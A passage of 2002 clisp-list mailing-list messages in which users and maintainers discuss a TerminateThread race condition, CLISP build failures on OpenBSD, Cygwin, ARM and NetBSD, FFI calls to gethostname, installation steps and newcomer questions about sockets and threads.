what my solution does is force context switches to make sure that
4 is executed before 2. ( 4 before 2 is good, 2 before 4 is bad. )
So add:

   interruptible_active=3Dfalse; //1
   Sleep(0); // 1.1=09
   Sleep(0); // 1.2
   Sleep(0); // 1.3=09
} //2 thread dies

Sleep(0) tells the system to go to sleep for 0 milliseconds.
It also tells it ( as Sleep always does ) to do a context switch.
Essentially it is the same as yield.
So look at the first sequence
3,CS,1,2,CS,4
This becomes:
3,CS,1,1.1,CS,4
So 4 gets executed before 2 because 1.1forces a context switch.

Now back to the tweaking. As I said sometimes multiple context
switches can happen per statement.
so the modified first sequence might look like.
3,CS,1,1.1,CS, first part of 4,CS,1.2,CS,second part of four.
The trick is to force enough context switches to make sure that
four is complete ( or at least that the actual kill thread process
has been put in place ). I'm fairly sure that 2 is enough, but I threw
in the third just to make sure.
-------------------------------------------------------
I just realised that I wasn't addressing the original code, but a
quick look will suggest that it's even worse there.

new_thread_function()
{
....
} //1 thread dies

if(interruptible_thread) //3
   TerminateThread(new_thread()); //4

main_thread:
     WaitForSingleObject(new_thread) //2
     interruptible_active=3Dfalse; //5

now the deadly sequence is 1 before 4.
The order 1,2,4 always has to happen ( 2 is waiting for 1).
So you can have something as bad as
1,2,CS,3,4,CS,5=20
way too late for 5.
or something well behaved
like
1,2,5,CS,3 4 never gets executed.
or
3,first part of 4,CS,first part of 1,CS  second part of 4, which is OK
because 4 finishes before 1.
Or something like
1,first part of 2,CS,3,4,CS,second part of 2,5


>Is there a solution that would always work?
>
This should always work, just put in enough Sleep(0); s.

>Maybe you could follow the direction outlined by Todd and eliminate the
>need for TerminateThread() altogether?
I think you need another mechanism to signal the function to end, but
what it should be I'm not sure. This solution should work fine for
now.


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> * In message <3c57defc.239941875@smtp.interaccess.com>
> * On the subject of "[clisp-list] Solution to TerminateThread bug."
> * Sent on Wed, 30 Jan 2002 15:20:04 GMT
> * Honorable olczyk@interaccess.com (Thaddeus L. Olczyk) writes:
>
> 98,99c98,101
> <           if (!TerminateThread(interruptible_thread,1+CtrlType)) {
> <             OS_error();
> ---
> >           if(interruptible_active){         
> >             if (!TerminateThread(interruptible_thread,1+CtrlType)) {
> >                   OS_error();
> >            }

since 3 lines above of this we set interruptible_active to false,
this change just disables TerminateThread().

please use "diff -c" next time.

thanks for your explanations.

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On 30 Jan 2002 15:44:08 -0500, Sam Steingold <sds@gnu.org> wrote:

>> * In message <3c57defc.239941875@smtp.interaccess.com>
>> * On the subject of "[clisp-list] Solution to TerminateThread bug."
>> * Sent on Wed, 30 Jan 2002 15:20:04 GMT
>> * Honorable olczyk@interaccess.com (Thaddeus L. Olczyk) writes:
>>
>> 98,99c98,101
>> <           if (!TerminateThread(interruptible_thread,1+CtrlType)) {
>> <             OS_error();
>> ---
>> >           if(interruptible_active){        =20
>> >             if (!TerminateThread(interruptible_thread,1+CtrlType)) {
>> >                   OS_error();
>> >            }
>
>since 3 lines above of this we set interruptible_active to false,
>this change just disables TerminateThread().
>
Your right. I saw it and then promply forgot about it.
It complicates things because whoever wrote this decided
to use the interruptible_active to denote two things:
1) To describe the state of the interuptible thread ( is it or is it
not active?)
2) To act as a state machine to tell itself that it has already been
interupted once and not to do it again.

It should not call TerminateThread, but One of the tests I ran was to
break into an infinite loop. Strange.
The solutions I see are to move the assignment downward or to break=20
the variable into two parts, one for the active state, one for
describing the handler state.
I'll check on both tonight.

>please use "diff -c" next time.
>
>thanks for your explanations.



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I've had two problems with rebuilding CLISP from current CVS on
my OpenBSD 2.9 system.

I don't think my first problem was OpenBSD specific. What's the
recommended procedure for rebuilding after "cvs update"? I tried
to follow the procedure in unix/INSTALL, but "configure" failed:
	balefire:clisp/ $ ./configure ; beep
	/usr/local/src/clisp/modules
	../src/lndir: destination already exists: /usr/local/src/clisp/src/bindings
Since I don't know enough to confidently clean up the CLISP directory
system by hand, I just punted and checked out a fresh copy. But that
seems suboptimal. Is there some sort of automated cleanup that I
should be doing before re-running configure? Or is it forbidden ever
to re-run configure after you've run it once? Did I just overlook
something obvious in INSTALL or elsewhere which guides me through the
gotchas of doing a build more than once in the same directory?

In my freshly checked-out directory, I got through the basic 
"make" step successfully, but "make check" failed, with the 
tail of the output looking like
  cmp -s deprecated.fas stage/deprecated.fas  || (echo "Test failed." ; exit 1)
  cmp -s config.fas stage/config.fas  || (echo "Test failed." ; exit 1)
  echo "Test passed."
  Test passed.
  mkdir suite
  cd suite && ln -s ../../tests/Makefile .
  cd suite && ln -s ../../tests/*.lisp .
  cd suite && ln -s ../../tests/*.tst .
  LISP="`pwd`/lisp.run -M `pwd`/lispinit.mem -B `pwd` -N `pwd`/locale -Efile UTF-8 -norc"; export LISP; cd suite; make LISP="$LISP"
  "Makefile", line 2: Missing dependency operator
  "Makefile", line 5: Need an operator
  "Makefile", line 8: Need an operator
  Fatal errors encountered -- cannot continue
  *** Error code 1
My guess is that ifneq isn't available in the basic implementation
that you get when you type "make" on an OpenBSD system. I'm not sure
of that: I looked in OpenBSD "man make" and in the info pages for GNU
make, and didn't get a quick definite answer. But if I'm right, then
perhaps CLISP should hunt down GNU make (commonly installed as gmake,
and probably findable by configure) instead of just using whatever
happens to be local "make"? Or perhaps the "make test" stuff could go
back to whatever (non-GNU-specific?) stuff it used last year when I was
able to build the system, including tests, on OpenBSD?

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William> I've had two problems with rebuilding CLISP from current CVS on
William> my OpenBSD 2.9 system.

William> I don't think my first problem was OpenBSD specific. What's the
William> recommended procedure for rebuilding after "cvs update"?

William> I tried
William> to follow the procedure in unix/INSTALL, but "configure" failed:
William>         balefire:clisp/ $ ./configure ; beep
William>         /usr/local/src/clisp/modules
William>         ../src/lndir: destination already exists: /usr/local/src/clisp/src/bindings
I currently use './configure build/winter', so that build takes
place in 'build/winter'. If something goes wrong I'm deleting build/winter
and doing configure again.

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Hi,

I'm trying to install CLISP for the first time on an at-home Linux box and
I'm stumped on something.  In step 5 of the installation instructions, it
says to edit the config.lisp file, especially the definitions of the long
and short site names.  I cannot figure out what these are supposed to be.
Is it the path to the directories that I'm installing to?

Sorry this is clearly an elementary question but I don't seem to be able
to find the answer.  Perhaps if someone could point me to a sample edited
config.lisp file, it would be sufficient.

Thanks in advance,

Roger





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Roger Levy <rog@stanford.edu> writes:

> I'm trying to install CLISP for the first time on an at-home Linux
> box and I'm stumped on something.  In step 5 of the installation
> instructions, it says to edit the config.lisp file, especially the
> definitions of the long and short site names.  I cannot figure out
> what these are supposed to be.  Is it the path to the directories
> that I'm installing to?
> 
> Sorry this is clearly an elementary question but I don't seem to be
> able to find the answer.  Perhaps if someone could point me to a
> sample edited config.lisp file, it would be sufficient.

IIRC this is just the (network) name of your machine.


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> How do you make an ffi call to something like gethostname where the
> value of host is passed through a pointer and not returned? 
> 

Unfortunately, I still don't have an answer for that. 

I did: 

(defconstant *hostname* (make-string 15))

(def-call-out gethostname
   (:arguments (hostname c-string)
               (len int))
   (:return-type int))

(gethostname *hostname* 15)

but that does not set the value of *hostname*. 


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myriam <mabramso@gmu.edu> writes:
> (defconstant *hostname* (make-string 15))
[...]
> (gethostname *hostname* 15)

Isn't that because you declared *hostname* to be a constant, hence
its value cannot be changed anymore subsequently?  Try defvar instead.



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> * In message <cdg04m4n1u.fsf@sun23.aic.nrl.navy.mil>
> * On the subject of "Re: [clisp-list] FFI question"
> * Sent on 31 Jan 2002 09:23:09 -0500
> * Honorable myriam <mabramso@gmu.edu> writes:
>
> > How do you make an ffi call to something like gethostname where the
> > value of host is passed through a pointer and not returned? 
> 
> Unfortunately, I still don't have an answer for that. 

commented out in CLISP/modules/bindings/linuxlibc6/linux.lisp:

(def-c-call-out gethostname (:arguments (name c-pointer) (len size_t)) ; ??
                            (:return-type int))
 
(def-c-call-out sethostname (:arguments (name (c-pointer) (len sizet)) ; ??
                            (:return-type int))


please try this and report the results.

Bruno should be able to give an authoritative question, but he is busy.


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> * In message <20020131030917.GA4348@balefire.localdomain>
> * On the subject of "[clisp-list] CLISP on OpenBSD again"
> * Sent on Wed, 30 Jan 2002 21:09:17 -0600
> * Honorable William Harold Newman <william.newman@airmail.net> writes:
>
> I've had two problems with rebuilding CLISP from current CVS on
> my OpenBSD 2.9 system.
> 
> I don't think my first problem was OpenBSD specific. What's the
> recommended procedure for rebuilding after "cvs update"? I tried
> to follow the procedure in unix/INSTALL, but "configure" failed:
> 	balefire:clisp/ $ ./configure ; beep
> 	/usr/local/src/clisp/modules
> 	../src/lndir: destination already exists: /usr/local/src/clisp/src/bindings
> Since I don't know enough to confidently clean up the CLISP directory
> system by hand, I just punted and checked out a fresh copy.

        make clean
or
        make distclean

> Did I just overlook something obvious in INSTALL or elsewhere which
> guides me through the gotchas of doing a build more than once in the
> same directory?

step 2 suggests giving ./configure a directory name as an argument.
I always do
$ rm -rf build; ./configure --build build

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> commented out in CLISP/modules/bindings/linuxlibc6/linux.lisp:
> 
> (def-c-call-out gethostname (:arguments (name c-pointer) (len size_t)) ; ??
>                             (:return-type int))
>  
> (def-c-call-out sethostname (:arguments (name (c-pointer) (len sizet)) ; ??
>                             (:return-type int))
> 
> 
> please try this and report the results.

Okay, I've defined gethostname as above and tried: 

(defvar *hostname* (make-string 15))
;; I thought that a defconstant would make sure that the string does
;; not get garbage collected. 

(gethostname *hostname* 15)
*** - "" cannot be converted to the
foreign type FFI:C-POINTER

Any ideas?

> Bruno should be able to give an authoritative question, but he is
> busy.

If not, hopefully he'll clarify. I am surprised that it's commented
out from the linux bindings. Unfortunately, I need to do something
like that. 


                                    myriam


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On Thu, 31 Jan 2002 00:05:57 -0800 (PST), Roger Levy wrote:

> says to edit the config.lisp file, especially the definitions of the long
> and short site names.  I cannot figure out what these are supposed to be.

A suggestion:

  SHORT-SITE-NAME : "Roger Levy"
  LONG-SITE-NAME  : "Roger Levy's Linux box for Lisp hacking--hands off"

Or just set them to NIL.


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Hi----can anyone tell me what I'm doing wrong trying
to install clisp in OS X (10.1)...thanks,
Steve


bash-2.05$ ls
ANNOUNCE     MAGIC.add    README       SUMMARY      data/        linkkit/
COPYRIGHT    Makefile     README.de    base/        doc/         locale/
GNU-GPL      NEWS         README.es    clisp-link*  full/        src/
bash-2.05$ make
cc -O  base/modules.o base/lisp.a base/libsigsegv.a base/libintl.a base/libiconv.a base/libreadline.a -o base/lisp.run
/usr/bin/ld: table of contents for archive: base/lisp.a is out of date; rerun ranlib(1) (can't load from it)
/usr/bin/ld: table of contents for archive: base/libsigsegv.a is out of date; rerun ranlib(1) (can't load from it)
/usr/bin/ld: table of contents for archive: base/libintl.a is out of date; rerun ranlib(1) (can't load from it)
/usr/bin/ld: table of contents for archive: base/libiconv.a is out of date; rerun ranlib(1) (can't load from it)
/usr/bin/ld: table of contents for archive: base/libreadline.a is out of date; rerun ranlib(1) (can't load from it)
make: *** [base/lisp.run] Error 1
bash-2.05$ 



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I used configure/make to build the new-clx module in the 2.27 distribution.
After cleaning up the Makefile a bit to use correct paths, I got it to
generate a clx.lib/fas, image.lib/fas and a clx.o, which appear to be the
appropriate build targets.

What I do not understand is how to incorporate these into CLISP.  I tried to
load them in:

[1]> (load 'clx)
;; Loading file /home/dave/clisp-2.27/modules/clx/new-clx/clx.fas ...
*** - SYMBOL-FUNCTION: the function CLOSE-DOWN-MODE-SETTER is undefined
1. Break XLIB[2]>

I'm sure this is a bone-headed question, but what steps follow after
building the module?

	Thanks!

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myriam schrieb:
> 
> > commented out in CLISP/modules/bindings/linuxlibc6/linux.lisp:
> >
> > (def-c-call-out gethostname (:arguments (name c-pointer) (len size_t)) ; ??
> >                             (:return-type int))
> >
> > (def-c-call-out sethostname (:arguments (name (c-pointer) (len sizet)) ; ??
> >                             (:return-type int))
> >
> >
> > please try this and report the results.
> 
> Okay, I've defined gethostname as above and tried:
> 
> (defvar *hostname* (make-string 15))
> ;; I thought that a defconstant would make sure that the string does
> ;; not get garbage collected.
> 
> (gethostname *hostname* 15)
> *** - "
> foreign type FFI:C-POINTER
> 
> Any ideas?

defvar assigns a variable on the lisp heap, but the def-c-call-out gethostname
needs 
a memory location on the extra c-heap, which is similar to a simple malloc
there.
does gethostname() strcpy the name to char* name or points to the string on
the system heap?

you would need something like this (untested) with a strcpy'ing gethostname.

(ffi:def-c-call-out gethostname (:arguments (name c-string) (len
size_t))(:return-type int))
(ffi:def-c-var c-hostname (:type c-string) (:alloc :malloc-free))
(if (zerop (linux:gethostname c-hostname 15)      ; 0 on success
  (defvar hostname (ffi:deref c-hostname)))         ; deref converts c-string
to lisp type

and link the glibc to clisp. don't know if the dynamic-ffi works here.

I've written a short and simple summary and overview of various FFI's at 
http://xarch.tu-graz.ac.at/autocad/lisp/ffis.html
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> * In message <NHELKOLJCDKIICMAPADBKELECBAA.dave@synergy.org>
> * On the subject of "[clisp-list] clx"
> * Sent on Sat, 2 Feb 2002 10:15:13 -0800
> * Honorable "Dave Richards" <dave@synergy.org> writes:
>
> I'm sure this is a bone-headed question, but what steps follow after
> building the module?

the modules are in the "full" image:

$ ./configure --with-module=clx/new-clx --build build
$ cd build
$ su make install
$ clisp -K full
> (xlib::....)

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cygwin fails to build ootb with the current clisp ualarm() workaround.
http://www.math.utexas.edu/pipermail/maxima/2001/000756.html didn't help.

however, with the proper declaration of the cygwin ualarm 
    extern_C useconds_t _EXFUN(ualarm, (useconds_t __useconds, useconds_t
__interval));
instead of 
    extern_C unsigned int ualarm (unsigned int value, unsigned int interval);
/* siehe UALARM(3) */
in unix.c, line 297 
and without the cygwin32 alarm() and ualarm() workaround in unixaux.d 
it compiled successfully then.

make check stops on 
  (LOAD "*.lsp")
  OK: FILE-ERROR
  (LOAD-LOGICAL-PATHNAME-TRANSLATIONS "FOO41")
hmm. I don't understand this.
should I post excepsit.erg?
---
Note: 
I had to move away /usr/local/lib/libiconv.* and /usr/local/include/iconv.h
and rebuild 
gettext/intl/libintl.a because I had older versions there.
the hacks in gettext/intl to seperate from older and existing versions
apparently didn't 
work.
----
cfgunix.lsp and cfgwin32.lsp could be merged to some kind of cfgcygwin.lsp. 
should I provide such a file?

with cfgunix.lsp only, esp. without (setq *device-prefix* "cygdrive") 
make fails if `pwd` begins with /cygdrive/
after a mount to /usr/src/clisp it works fine. strange.
----
Note:
The cygwin Makefile line
  LN_S = ln -s 
could be improved to 
  LN_S = ln 
on NTFS (hardlinks)

make complained on non-existing targets. after the mount to /usr/src/clisp and
cd /usr/src/clisp 
it worked.
----
ootb:

Windows 2000 Professional Ver 5.0 Build 2195 Service Pack 2
rel. new cygwin setup:
        Build date: Sat Dec 8 17:02:30 EST 2001
        CVS tag: cygwin-1-3-6-6
$ bash --version
GNU bash, version 2.05a.0(2)-release (i686-pc-cygwin)
Copyright 2001 Free Software Foundation, Inc.
$ cvs -d :pserver:anonymous@cvs.clisp.sf.net:/cvsroot/clisp login
$ cvs -d :pserver:anonymous@cvs.clisp.sf.net:/cvsroot/clisp co clisp
$ cd clisp
$ ./configure build-cyg
# avcall tests aso. pass successfully
$ cd build-cyg
rurban@REINI /cygdrive/r/lisp/clisp/clisp/build-cyg
$ # ./makemake --with-dir-key --with-readline --with-gettext
--with-dynamic-ffi --with-module=wildcard --with-module=regexp
--with-dynamic-modules --with-export-syscalls --with-termcap > ../Makefile
# oops, next time. for now just the simple version:

$ ./makemake  --with-readline --with-gettext --with-dynamic-ffi > Makefile

...
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type
-fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE
-DEXPORT_SYSCALLS -DDIR_KEY -DDYNAMIC_FFI -DDYNAMIC_MODULES -c spvw.c
In file included from /usr/include/stdlib.h:22,
                 from unix.d:17,
                 from lispbibl.d:1750,
                 from spvw.d:22:
/usr/include/alloca.h:14: warning: `alloca' redefined
lispbibl.d:1068: warning: this is the location of the previous definition
In file included from lispbibl.d:1750,
                 from spvw.d:22:
unix.d:287: warning: `HAVE_UALARM' redefined
unixconf.h:458: warning: this is the location of the previous definition
In file included from lispbibl.d:1751,
                 from spvw.d:22:
unix.d:296: conflicting types for `ualarm'
/usr/include/sys/unistd.h:136: previous declaration of `ualarm'
In file included from spvw.d:536:
spvw_garcol.d: In function `gc_compact_from_varobject_page':
spvw_garcol.d:2100: warning: `p2' might be used uninitialized in this function
spvw_garcol.d:2101: warning: `l2' might be used uninitialized in this function
spvw_garcol.d: In function `gc_compact_from_cons_page':
spvw_garcol.d:2156: warning: `p2' might be used uninitialized in this function
spvw_garcol.d:2157: warning: `l2' might be used uninitialized in this function
In file included from spvw.d:547:
spvw_circ.d: In function `get_circularities':
spvw_circ.d:641: warning: implicit declaration of function `_setjmp'
spvw_circ.d: In function `get_circ_mark':
spvw_circ.d:700: warning: implicit declaration of function `_longjmp'
spvw.d: In function `main':
spvw.d:1709: warning: variable `argv_memneed' might be clobbered by `longjmp'
or `vfork'
make: *** [spvw.o] Fehler 1

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Hi,
I have compiled the latest CVS version of CLISP and found the following 
problem:

     [8]> (defmethod foo ((x (eql 1))) x)

     *** - SYMBOL-PACKAGE: 1 is not a symbol

This worked with the version of CLISP I compiled from CVS a month ago.

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I have started to use the ILISP mode for Emacs and found a problem. I 
don't know how ILISP communicates with the Lisp process, it don't seem 
to be PTYs. The *terminal-io* stream exhibits the following behaviour

[2]> (finish-output t)
*** - UNIX error 45 (EOPNOTSUPP): Operation not supported on socket

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> * In message <FCC81567-18BE-11D6-B78E-0030656FF2A0@mac.com>
> * On the subject of "[clisp-list] CLISP and ILISP"
> * Sent on Sun, 3 Feb 2002 16:59:21 +0100
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> don't know how ILISP communicates with the Lisp process, it don't seem
> to be PTYs. The *terminal-io* stream exhibits the following behaviour
> 
> [2]> (finish-output t)
> *** - UNIX error 45 (EOPNOTSUPP): Operation not supported on socket

what is the value of *terminal-io*?
why do you need to call FINISH-OUTPUT on it?
please report this to the ILISP people.

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> * In message <53BA0D38-18BD-11D6-B78E-0030656FF2A0@mac.com>
> * On the subject of "[clisp-list] (no subject)"
> * Sent on Sun, 3 Feb 2002 16:47:28 +0100
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> I have compiled the latest CVS version of CLISP and found the following
> problem:
> 
>      [8]> (defmethod foo ((x (eql 1))) x)
> 
>      *** - SYMBOL-PACKAGE: 1 is not a symbol

fixed in the CVS.
thanks for the bug report
(of course, if you use CVS, you are supposed to subscribe to clisp-devel
and report problems there -- blah blah ... :-)

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>> * In message <FCC81567-18BE-11D6-B78E-0030656FF2A0@mac.com>
>> * On the subject of "[clisp-list] CLISP and ILISP"
>> * Sent on Sun, 3 Feb 2002 16:59:21 +0100
>> * Honorable Lennart Staflin <lenst@mac.com> writes:
>>
>> I have started to use the ILISP mode for Emacs and found a problem. I
>> don't know how ILISP communicates with the Lisp process, it don't =
seem
>> to be PTYs. The *terminal-io* stream exhibits the following behaviour
>>
>> [2]> (finish-output t)
>> *** - UNIX error 45 (EOPNOTSUPP): Operation not supported on socket

On s=F6ndag, februari 3, 2002, at 05:27 , Sam Steingold wrote:

> what is the value of *terminal-io*?

#<IO TERMINAL-STREAM>


> why do you need to call FINISH-OUTPUT on it?

It is part of a logging routine that could send its output to some other=20=

stream, but usually it goes to *terminal-io*.


> please report this to the ILISP people.

Hmm. Do you mean that finish-output could reasonably fail for some type=20=

of stream.

//Lennart



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i'm trying to install clisp on redhat linux 7.2. i followed the
instructions in the README file down to the part about running
a program called ./hardcode


but there is no such program.  What do you think i'm doing wrong?


[jimka@localhost clisp-2.27]# mkdir /usr/local/lib/lisp
[jimka@localhost clisp-2.27]# mv base/lisp.run /usr/local/lib/lisp
[jimka@localhost clisp-2.27]# mv base/lispinit.mem /usr/local/lib/lisp
[jimka@localhost clisp-2.27]# ./hardcode -DLISPLIBDIR='/usr/local/lib/lisp' -DLOCALEDIR='/usr/local/share/locale' clisp /usr/local/bin/clisp
./hardcode: Command not found.
[jimka@localhost clisp-2.27]# pwd
/home/jimka/tmp/clisp-2.27
[jimka@localhost clisp-2.27]# find . -type f -name hardcode
[jimka@localhost clisp-2.27]# find . -type f -print | grep hard
[jimka@localhost clisp-2.27]#  find . -type f -print | grep code
./data/UnicodeData.txt



-jim
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> * In message <C5C27FC6-18ED-11D6-934C-0030656FF2A0@mac.com>
> * On the subject of "Re: [clisp-list] CLISP and ILISP"
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> >> [2]> (finish-output t)
> >> *** - UNIX error 45 (EOPNOTSUPP): Operation not supported on socket
>=20
> On s=F6ndag, februari 3, 2002, at 05:27 , Sam Steingold wrote:
> > what is the value of *terminal-io*?
> #<IO TERMINAL-STREAM>

please report all the details.
1. OS name and version
2. CLISP version
3. ILISP version
4. Emacs version

try to isolate the problem:
does the error manifests itself only under ILISP?
what about the standard inferior lisp mode?
what about xterm?
what is the backtrace?

ideally, for me to fix the bug, I need to be able to reproduce it with
some minimal setup (i.e., "clisp -norc -i foo.lisp" and get an error
where foo.lisp is <10 lines)

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> * In message <3C5DB2BB.940CDB30@rdrop.com>
> * On the subject of "[clisp-list] problem with installation instructions"
> * Sent on Sun, 03 Feb 2002 22:59:23 +0100
> * Honorable Jim Newton <jimka@rdrop.com> writes:
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> i'm trying to install clisp on redhat linux 7.2. i followed the
> instructions in the README file down to the part about running
> a program called ./hardcode

you did not say where you got CLISP and whether it was a source or a
binary distribution.

fortunately, my ESP is up to the task and I can tell you that you got a
binary distribution.

the standard reply is that binary distributions are the last resort for
those who cannot use source distributions (e.g., they do not have a C
compiler or the build fails for some reason.)

thus, please download the source distribution and build from it.

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> > i'm trying to install clisp on redhat linux 7.2. i followed the
> > instructions in the README file down to the part about running
> > a program called ./hardcode
> 

I recall this confusing part of the documentation. It's about
compiling the driver for the lisp image. It must be old
documentation. It should just be

gcc -DLISPLIBDIR=... -DLISPLOCALEDIR=... clisp.c -o /usr/local/bin/clisp

help that helps


                                   myriam



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GNU CLISP 2.27 (released 2001-07-17) (built 3205317348) (memory 3205318651)
On GNU/Linux

read-line strips off spaces, so "foo " becomes "foo".

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Thanks but it's my understanding that def-c-var has to be the name of a c
variable. You can't make your own c-variables on the lisp side. 
Since there is no such c variable, the code below does not link: 

Undefined			 first referenced
 symbol  			    in file
_lisp__c_2Dhostname                 foreign.o
ld: fatal: Symbol referencing errors. No output written to lisp.run

> > Any ideas?
> 
> defvar assigns a variable on the lisp heap, but the def-c-call-out gethostname
> needs 
> a memory location on the extra c-heap, which is similar to a simple malloc
> there.
> does gethostname() strcpy the name to char* name or points to the string on
> the system heap?
> 
> you would need something like this (untested) with a strcpy'ing gethostname.
> 
> (ffi:def-c-call-out gethostname (:arguments (name c-string) (len
> size_t))(:return-type int))
> (ffi:def-c-var c-hostname (:type c-string) (:alloc :malloc-free))
> (if (zerop (linux:gethostname c-hostname 15)      ; 0 on success
>   (defvar hostname (ffi:deref c-hostname)))         ; deref converts c-string
> to lisp type
> 
> and link the glibc to clisp. don't know if the dynamic-ffi works here.
> 
> I've written a short and simple summary and overview of various FFI's at 
> http://xarch.tu-graz.ac.at/autocad/lisp/ffis.html
> -- 
> Reini Urban
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> * In message <20020205154528.A18401@localhost.localdomain>
> * On the subject of "[clisp-list] read-line strips trailing spaces"
> * Sent on Tue, 5 Feb 2002 15:45:28 +0100
> * Honorable Peter Wood <peter.wood@worldonline.dk> writes:
>
> GNU CLISP 2.27 (released 2001-07-17) (built 3205317348) (memory 3205318651)
> On GNU/Linux
> 
> read-line strips off spaces, so "foo " becomes "foo".

yes - why do you think this is a problem?

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On Tue, Feb 05, 2002 at 01:47:37PM -0500, Sam Steingold wrote:
> > GNU CLISP 2.27 (released 2001-07-17) (built 3205317348) (memory 3205318651)
> > On GNU/Linux
> > 
> > read-line strips off spaces, so "foo " becomes "foo".
> 
> yes - why do you think this is a problem?

According to the hyperspec, read-line "reads from input-stream a line
of text that is terminated by a newline or eof".  So that's what it
should do.

Neither Allegro 6.1 (trial), nor LispWorks 4.2 (Personal Edition)
strip off the spaces.  That is, both of them make "foo " be "foo " not
"foo".  I think clisp is wrong here.

Regards,
Peter



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Hello!

I am trying to compile clisp on an ARM processor, and am experiencing some
difficulty.  I was wondering if anyone has been succesfull in doing this
or if you would have some advice. 

I noticed an earlier post about clisp on an iPAQ running
linux.  Unfortunately the former post seemed to end without saying
whether or not he got it working.

My goal is to make a binary for the Zaurus SL-5000D, which also uses the
StrongARM processor and runs linux.  I am currently compiling 
on a compaq development machine that has a StrongARM processor and
runs linux.

Here is some info that I hope will help:

The host system is detected as armv4l-unknown-linux-gnu.

Source code used:
CVS as of Wed Feb  6 02:00:32 EST 2002

Commands Executed:
[ from the clisp directory ]
./configure

[ it completes and gives me this output ]
make: *** No rule to make target `avcall-armv4l.lo', needed by `avcall.lo'.  Stop.

To continue building CLISP, the following commands are recommended
(cf. unix/INSTALL step 4):
    cd src
    ./makemake  --with-readline --with-gettext > Makefile
    make config.lisp
    vi config.lisp
    make
    make check

cd src
./makemake --with-readline --with-gettext > Makefile
make config.lisp

[ after this I add -DSAFETY=3 to the CFLAGS in Makefile ]
[ as was recommended on this list previously. I then run... ]
make

[ it gives me the result ]
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type
-fomit-frame-pointer -Wno-sign-compare -O2 -DUNICODE -DSAFETY=3 -c spvw.c
In file included from lispbibl.d:1751,
                 from spvw.d:22:
unix.d:874: conflicting types for `iconv'
/usr/include/iconv.h:45: previous declaration of `iconv'
In file included from spvw.d:22:
lispbibl.d:6933: warning: volatile register variables don't work as you
might wish
spvw.d: In function `main':
spvw.d:1709: warning: variable `argv_memneed' might be clobbered by
`longjmp' or `vfork'
make: *** [spvw.o] Error 1

Any ideas?  Need more info?  Please let me know,

	-ryan



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Greetings,

        I ran into configuration problems actually building clisp-2.27
        or clisp-cvs at the point where the configuration process is
        testing libavcall.a.  

        The tests (both minitests and tests) fail and I am not sure
        what is being tested for.  This machine is
        sparc-unknown-netbsdelf1.5.3_ALPHA.  The nohup.out file is
        ~5Ok.  I would like to send the data but with less extraneous
        stuff.  Would just the avcall stuff and the test output files
        do, or would more system configuration information be
        needed. (config.status, unixconf.h, or others ?)


        Both clisp-2.27 and clisp-cvs (generally) build successfully
        on i386-unknown-netbsdelf1.5.[1-3].  


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	I had two questions about clisp.  I've been using it for a while
now and I really like it.  But, I still don't see how I can do tcp/ip and
multithreading.  Mostly, I don't know where to begin.  What packages do I
need (using Debian here, so apt is my friend)?  Where can I find
documentation about using them?

	The second question is odd indeed.  I know that clisp is more
efficient (seems faster to me at least) than cmucl (not trying to start a
flame war tho), but why does clisp blow the stack before cmucl?  I'm just
learing about activiation records vs. heap, and so I was just curious why
clisp doesn't use the heap before the stack blows? (maybe it's just really
hard to check for...)

	Oh, I just had another quick question come to mind.  Will the
packages that work for cmucl work for clisp?  If that's a totally newbie
question just let me know.  And again, if there is already a place that
answers my questions just point me to it, and I'll go read it.

Thanks for your time,
Jason



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>>>>> "jd" == Jason Dagit <dagit@engr.orst.edu> writes:

  jd> now and I really like it. But, I still don't see how I can do
  jd> tcp/ip and multithreading. Mostly, I don't know where to begin.
  jd> What packages do I need (using Debian here, so apt is my
  jd> friend)? Where can I find documentation about using them?

Unfortunately the Debian package for CLISP is rather old; you may be
better off compiling it yourself. Read the implementation notes
(available at <URL:http://clisp.sf.net/>) for information on using
sockets from CLISP.
  
  jd> The second question is odd indeed. I know that clisp is more
  jd> efficient (seems faster to me at least) than cmucl (not trying
  jd> to start a flame war tho)

CLISP is faster on certain types of code (especially involving
bignums), but quite a lot slower on others. Figures at 

   <URL:http://ww.telent.net/cliki/Performance%20Benchmarks>

  jd> Oh, I just had another quick question come to mind. Will the
  jd> packages that work for cmucl work for clisp?

if they use standard Common Lisp, they should work. If they depend on
extensions to the standard (eg networking support, operating system
interface, interface with foreign code), they will require
implementation-specific code. You'll find that many packages work with
both implementations.
      
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Hello Jason,

Thursday, February 07, 2002, 8:24:56 PM, you wrote:

Jason>         I had two questions about clisp.  I've been using it for a while
Jason> now and I really like it.  But, I still don't see how I can do tcp/ip and
Jason> multithreading.  Mostly, I don't know where to begin.  What packages do I
Jason> need (using Debian here, so apt is my friend)?  Where can I find
Jason> documentation about using them?
To learn how to use clisp specific extensions (tcp/ip for example)
read impnotes.html.

I believe that clisp have not multithreading (thank you Lord).

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> * In message <y8gy9i5zzjb.fsf@newton.pconline.com>
> * On the subject of "[clisp-list] build problem"
> * Sent on 06 Feb 2002 22:28:08 -0600
> * Honorable John Towler <jtowler@pconline.com> writes:
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>         I ran into configuration problems actually building clisp-2.27
>         or clisp-cvs at the point where the configuration process is
>         testing libavcall.a.  

you are using gcc 3, right?
this is known.
just ignore the errors.

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On Thu, 7 Feb 2002 02:24:56 -0800 (PST), Jason Dagit wrote:

> now and I really like it.  But, I still don't see how I can do tcp/ip and
> multithreading.  Mostly, I don't know where to begin.  What packages do I

CLISP does not currently support multithreading. As for TCP/IP, Eric has
already mentioned the implementation notes.


> 	Oh, I just had another quick question come to mind.  Will the
> packages that work for cmucl work for clisp?  If that's a totally newbie

CLOCC (Common Lisp Open Code Collection) includes code designed to run on
CLISP, CMU CL and other implementations:

  http://clocc.sourceforge.net


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Jason Dagit writes:
 > 
 > 	I had two questions about clisp.  I've been using it for a while
 > now and I really like it.  But, I still don't see how I can do tcp/ip and
 > multithreading.

Multithreading is for people who don't know how to write state machines ;-)
Or, you know, cmucl users, either one...

 > 	The second question is odd indeed.  I know that clisp is more
 > efficient (seems faster to me at least) than cmucl (not trying to start a
 > flame war tho), but why does clisp blow the stack before cmucl?

I'm very surprised that you're finding CLISP more efficient that
CMUCL.  Out of curiosity, are you compiling your code on CMUCL?  CLISP
is faster to start up, but except for bignum math (where it kills all
the competitors, in every language), it's generally significantly
slower than every native-compiling implementation.  It has a good
bytecode interpreter, so it's usually fast enough for most things, but
it's still a bytecode interpreter.

As for blowing the stack, two things: CLISP uses the C calling stack
